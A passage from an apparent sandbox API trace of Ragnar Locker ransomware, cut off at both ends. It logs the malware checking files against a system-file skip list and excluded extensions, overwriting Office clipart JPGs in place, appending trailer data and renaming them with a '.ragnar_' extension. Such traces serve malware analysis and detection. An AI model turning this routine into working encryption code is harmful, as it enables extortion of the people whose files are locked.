returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" [0084.618] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ragnar_FD7BD9FC" [0084.618] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.619] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0084.619] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.619] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0148798.JPG" | out: lpString1="J0148798.JPG") returned="J0148798.JPG" [0084.619] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned=".JPG" [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="autorun.inf") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="boot.ini") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="bootfont.bin") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="bootsect.bak") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="bootmgr") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="bootmgr.efi") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="bootmgfw.efi") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="desktop.ini") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="iconcache.db") returned 1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="ntldr") returned -1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="ntuser.dat") returned -1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="ntuser.dat.log") returned -1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="ntuser.ini") returned -1 [0084.619] lstrcmpiW (lpString1="J0148798.JPG", lpString2="thumbs.db") returned -1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.619] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg")) returned 0x20 [0084.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.620] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38237) returned 1 [0084.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.620] GetProcessHeap () returned 0x580000 [0084.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.620] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.621] VirtualAlloc (lpAddress=0x0, dwSize=0x955d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.622] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x955d, lpOverlapped=0x0) returned 1 [0084.623] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.623] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x955d, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.624] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x955d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x955d, lpOverlapped=0x0) returned 1 [0084.624] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x955d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.624] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x955d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.624] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.624] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.625] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.625] GetProcessHeap () returned 0x580000 [0084.625] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.625] CloseHandle (hObject=0xf4) returned 1 [0084.625] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" [0084.625] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ragnar_FD7BD9FC" [0084.625] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.625] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0084.625] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.625] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0149018.JPG" | out: lpString1="J0149018.JPG") returned="J0149018.JPG" [0084.625] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned=".JPG" [0084.625] lstrcmpiW (lpString1="J0149018.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.625] lstrcmpiW (lpString1="J0149018.JPG", lpString2="autorun.inf") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="boot.ini") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="bootfont.bin") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="bootsect.bak") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="bootmgr") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="bootmgr.efi") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="bootmgfw.efi") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="desktop.ini") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="iconcache.db") returned 1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="ntldr") returned -1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="ntuser.dat") returned -1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="ntuser.dat.log") returned -1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="ntuser.ini") returned -1 [0084.626] lstrcmpiW (lpString1="J0149018.JPG", lpString2="thumbs.db") returned -1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.626] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0084.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.627] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27393) returned 1 [0084.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.627] GetProcessHeap () returned 0x580000 [0084.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.627] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.630] VirtualAlloc (lpAddress=0x0, dwSize=0x6b01, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.631] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6b01, lpOverlapped=0x0) returned 1 [0084.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.632] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b01, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.632] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6b01, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6b01, lpOverlapped=0x0) returned 1 [0084.632] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b01, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6b01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.633] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.633] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.633] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.633] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.633] GetProcessHeap () returned 0x580000 [0084.633] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.633] CloseHandle (hObject=0xf4) returned 1 [0084.633] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" [0084.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ragnar_FD7BD9FC" [0084.633] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.634] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0084.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.634] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0149118.JPG" | out: lpString1="J0149118.JPG") returned="J0149118.JPG" [0084.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned=".JPG" [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="autorun.inf") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="boot.ini") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="bootfont.bin") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="bootsect.bak") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="bootmgr") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="bootmgr.efi") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="bootmgfw.efi") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="desktop.ini") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="iconcache.db") returned 1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="ntldr") returned -1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="ntuser.dat") returned -1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="ntuser.dat.log") returned -1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="ntuser.ini") returned -1 [0084.634] lstrcmpiW (lpString1="J0149118.JPG", lpString2="thumbs.db") returned -1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.634] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0084.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.636] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=64802) returned 1 [0084.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfd19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.636] GetProcessHeap () returned 0x580000 [0084.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.636] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.637] VirtualAlloc (lpAddress=0x0, dwSize=0xfd22, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.637] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfd22, lpOverlapped=0x0) returned 1 [0084.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.639] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfd22, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.639] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfd22, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfd22, lpOverlapped=0x0) returned 1 [0084.639] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfd22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.640] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfd22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.640] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.640] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.640] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.640] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.640] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.640] GetProcessHeap () returned 0x580000 [0084.640] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.640] CloseHandle (hObject=0xf4) returned 1 [0084.640] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" [0084.641] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ragnar_FD7BD9FC" [0084.641] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.641] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 